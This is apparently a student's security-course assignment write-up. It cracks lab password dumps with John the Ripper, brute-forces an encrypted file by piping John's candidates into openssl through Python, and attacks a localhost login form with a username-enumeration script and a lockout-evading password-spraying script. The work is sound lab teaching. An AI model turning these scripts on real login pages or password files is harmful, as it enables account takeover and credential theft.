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COMP 4108

ASSIGNMENT 1

Part A

Easy dump:

Command used: `./john /A1/easy_dump`

This used the single crack mode. It will use the login names, "GECOS" / "Full Name" fields, and users' home directory names as candidate passwords, also with a large set of mangling rules applied - <https://www.openwall.com/john/doc/MODES.shtml>

This mode found the passwords with minimal effort.

```
johncena:password:1002:1002::/home/johncena:/bin/sh
therock:123456:1003:1003::/home/therock:/bin/sh
undertaker:12345:1004:1004::/home/undertaker:/bin/sh
ricflair:iloveyou:1005:1005::/home/ricflair:/bin/sh
steveaustin:123456789:1006:1006::/home/steveaustin:/bin/sh
hogan:princess:1007:1007::/home/hogan:/bin/sh
randyorton:1234567:1008:1008::/home/randyorton:/bin/sh
goldberg:letmein:1009:1009::/home/goldberg:/bin/sh
tripleh:12345678:1010:1010::/home/tripleh:/bin/sh
reymysterio:abc123:1011:1011::/home/reymysterio:/bin/sh

10 password hashes cracked, 0 left
student@comp4108-a1:~/JohnTheRipper-unstable-jumbo/run$
```

Meduim dump

`./john /A1/medium_dump`

`./john -w=passwords.txt /A1/medium_dump`

`./john -w=GawkerPasswords.txt`

`./john -w=RockYouPasswords.txt`

`./john -w=SonyPasswords.txt`

`./john -w=YahooVoicePasswords.txt`

Wordlistmode: we specify this mode through `--wordlist` or `-w`. The wordlist contains one word per line.

This is the simplest cracking mode supported by John. one could use Johns default wordlist or specify the wordlist to be used.

Single mode didn't work effectively on the `medium_dump` as it took a lot of time and ended up with no results.

Using Johns default worlist was not very effective. After specifying the wordlist to use, the result were better that using johns wordlist. To increase chances of success, one should increase the size of the wordlist. A larger wordlist has a higher chance of success than a smaller wordlist , although a larger wordlist might take more time than a smaller wordlist.

```
student@comp4108-a1:~/JohnTheRipper-unstable-jumbo/run$ ./j
_dump
johncena:senators:1002:1002::/home/johncena:/bin/sh
therock:differential:1003:1003::/home/therock:/bin/sh
undertaker:passw0rd:1004:1004::/home/undertaker:/bin/sh
steveaustin:Minnesota:1006:1006::/home/steveaustin:/bin/sh
hogan:chamber:1007:1007::/home/hogan:/bin/sh
goldberg:Rosalind:1009:1009::/home/goldberg:/bin/sh
tripleh:soccer9:1010:1010::/home/tripleh:/bin/sh
reymysterio:f0rdtruck:1011:1011::/home/reymysterio:/bin/sh

8 password hashes cracked, 2 left
student@comp4108-a1:~/JohnTheRipper-unstable-jumbo/run$
```

hard dump

```
./john /A1/hard_dump
```

```
./john -w=passwords.txt /A1/hard_dump
```

```
./john -w=GawkerPasswords.txt /A1/hard_dump
```

```
./john -w=RockYouPasswords.txt /A1/hard_dump
```

```
./john -w=SonyPasswords.txt /A1/hard dump
```

```
./john -w=YahooVoicePasswords.txt /A1/harrd_dump
```

```
./john -w=passwords.txt /A1/hard_dump --rules
```

```
./john -w=GawkerPasswords.txt /A1/hard dump --rules
```

```
./john -w=RockYouPasswords.txt /A1/hard dump --rules
```

```
./john -w=SonyPasswords.txt /A1/hard dump --rules
```

```
./john -w=YahooVoicePasswords.txt /A1/harrd dump --rules
```

Wordlist with rules:

Enabling word mangling rules to mangle word producing other likely passwords. It applies all the rules to every line in the wordlist.

Single mode didn't produce much success for hard_dump

Wordlist produced a fair amount of cracked passwords. Enabliing rules didn't have much effect on hard_dump

```
student@comp4108-a1:~/JohnTheRipper-unstable-jumbo/run$ ./john
ump
therock:mosiel:1003:1003::/home/therock:/bin/sh
ricflair:minnesot:1005:1005::/home/ricflair:/bin/sh
steveaustin:d@niel01:1006:1006::/home/steveaustin:/bin/sh
goldberg:goldenlab:1009:1009::/home/goldberg:/bin/sh
tripleh:1Taekwondo:1010:1010::/home/tripleh:/bin/sh
reymysterio:minnesota.:1011:1011::/home/reymysterio:/bin/sh

6 password hashes cracked, 4 left
student@comp4108-a1:~/JohnTheRipper-unstable-jumbo/run$
```

3.) Salts help to make dictionary attacks and brute-force attacks less effective. Its adds another layer of security to passwords. Adding a salt to a hash makes attacks using rainbow table useless because it doesn't take into account the salt.

Part B

1.)

```
1 import hashlib
2 import sys
3 from subprocess import call
4
5 true = True
6
7 try:
8     while(true):
9         data = raw_input()
10        m = hashlib.md5(data).hexdigest()
11        cmd = ['openssl', 'aes256', '-d', '-a', '-in', '/A1/secret_file.aes256.txt', '-out', 'output.txt', '-k', m]
12        decrypted = call(cmd)
13
14        for line in open('output.txt'):
15            if all(ord(char) > 128 for char in line):
16                print("Bad Decryption")
17            else:
18                print("File Decrypted")
19                print("Key is : " + m)
20                print("Password is: "+data)
21                sys.exit(0)
22
23
24 except EOFError as e:
25     print("end of file reached")
```

2.) The script reads password from John. This is done by running the command: ./john --wordlist --stdout

| python partb.py.

From the command John outputs candidate passwords using stdout which is then piped into the script.

The script creates a md5 hash of each password it receives and stores it as m. This is the key we'll use to decrypt the file. It then creates an openssl command for call to execute.

To determine if the file is decrypted properly, we check if the decrypted file contains non-ASCII text. If it does contain non-ASCII text, we know the file wasn't decrypted properly. If it doesn't contain non-ASCII text, we know the file was decrypted properly. The program terminates when it has decrypted the file properly or when John has no new candidate password to parse (when it gets to the end of the wordlist).

3.)

student@comp4108-a1: ~/JohnTheRipper-unstable-jumbo/run

Declaration of the Independence of Cyberspace

Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather.

We have no elected government, nor are we likely to have one, so I address you with no greater authority than that with which liberty itself always speaks. I declare the global social space we are building to be naturally independent of the tyrannies you seek to impose on us. You have no moral right to rule us nor do you possess any methods of enforcement we have true reason to fear.

Governments derive their just powers from the consent of the governed. You have neither solicited nor received ours. We did not invite you. You do not know us, nor do you know our world. Cyberspace does not lie within your borders. Do not think that you can build it, as though it were a public construction project. You cannot. It is an act of nature and it grows itself through our collective actions.

You have not engaged in our great and gathering conversation, nor did you create the wealth of our marketplaces. You do not know our culture, our ethics, or the unwritten codes that already provide our society more order than could be obtained by any of your impositions.

You claim there are problems among us that you need to solve. You use this claim as an excuse to invade our precincts. Many of these problems don't exist. Where there are real conflicts, where there are wrongs, we will identify them and address them by our means. We are forming our own Social Contract. This governance will arise according to the conditions of our world, not yours. Our world is different.

Cyberspace consists of transactions, relationships, and thought itself, arrayed like a standing wave in the web of our communications. Ours is a world that is both everywhere and nowhere, but it is not where bodies live.

We are creating a world that all may enter without privilege or prejudice accorded by race, economic power, military force, or station of birth.

We are creating a world where anyone, anywhere may express his or her beliefs, no matter how singular, without fear of being coerced into silence or conformity.

Your legal concepts of property, expression, identity, movement, and context do not apply to us. They are based on matter, There is no matter here.

Our identities have no bodies, so, unlike you, we cannot obtain order by physical coercion. We believe that from ethics, enlightened self-interest, "output.txt" 119L, 5883C

Key is : d9c44f25511dd574e4a7aca189b116f9
Password is: salamander!

4.) Hash algorithms use one way function that maps data of variable length to data of a fixed length. Hash functions are irreversible but that doesn't mean they can't be cracked. Since hash algorithms match variable length data to that of a fixed length, it means the output space becomes smaller. MD5 and other simple hash algorithms can easily be brute-forced or cracked with a dictionary attack. (<https://www.sitepoint.com/risks-challenges-password-hashing/>)

Part C

1.)

```
import requests

lines = [line.rstrip('\n') for line in open('/A1/facebook-firstnames.txt')]
myfile = open('active-user.txt', 'w')

for user in lines:
    r = requests.post('http://localhost:5000/login', data={'username': user, 'password': ""})
    resp = r.text
    if 'Invalid password' in resp:
        myfile.write(user+"\n")

myfile.close()

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```

2.) The above script finds active usernames on a website and compiles these usernames into a list. To find the active usernames, we need to find usernames that exist on the website. The script opens and reads the file containing a list of possible usernames and stores them as lines.

The script iterates through the file and sends a post request to login for each possible user. The response gotten is then searched through for the string 'Invalid password'. If it contains the string 'Invalid password', we know an account with the username exists. All usernames that exist are then stored into a file called 'active-user.txt'.

3.)

```

import sys
import requests

usernames = [line.rstrip("\n") for line in open("active-user.txt")]
passfile = [lines.rstrip("\n") for lines in open("commonpasswords.txt")]
url = "http://localhost:5000/login"
for password in passfile:
    for user in usernames:
        req = requests.post(url, data = {"username": user, "password": password})
        resp = req.text
        if "Invalid password" in resp:
            print("----- Password not found")
        else:
            print("-----Password Found -----")
            print("Username:- " + user)
            print("Password:- " + password)
            sys.exit(0)

```

4.) To crack the accounts, the script guesses using a list of possible common passwords obtained from the internet.

For each password contained in the file with common passwords, the script sends a post request for every user or until a match is found.

To determine if a match is found, the script checks each result of the post request for the string 'Invalid password'. If the result does not contain the string 'Invalid password', we know the password matches.

5.) The attack used is a dictionary attack. A dictionary tries passwords of likely possibilities to defeat an authentication mechanism. It systematically enters each word as a password. The dictionary attack was successful because some of the passwords were ordinary words which is very weak.

The account lockout was ineffective against the attack because, the script maximized the ratio of passwords cracked by trying each candidate password for every user.

6.)

You have logged in

Welcome back adam!



username: adam

password: password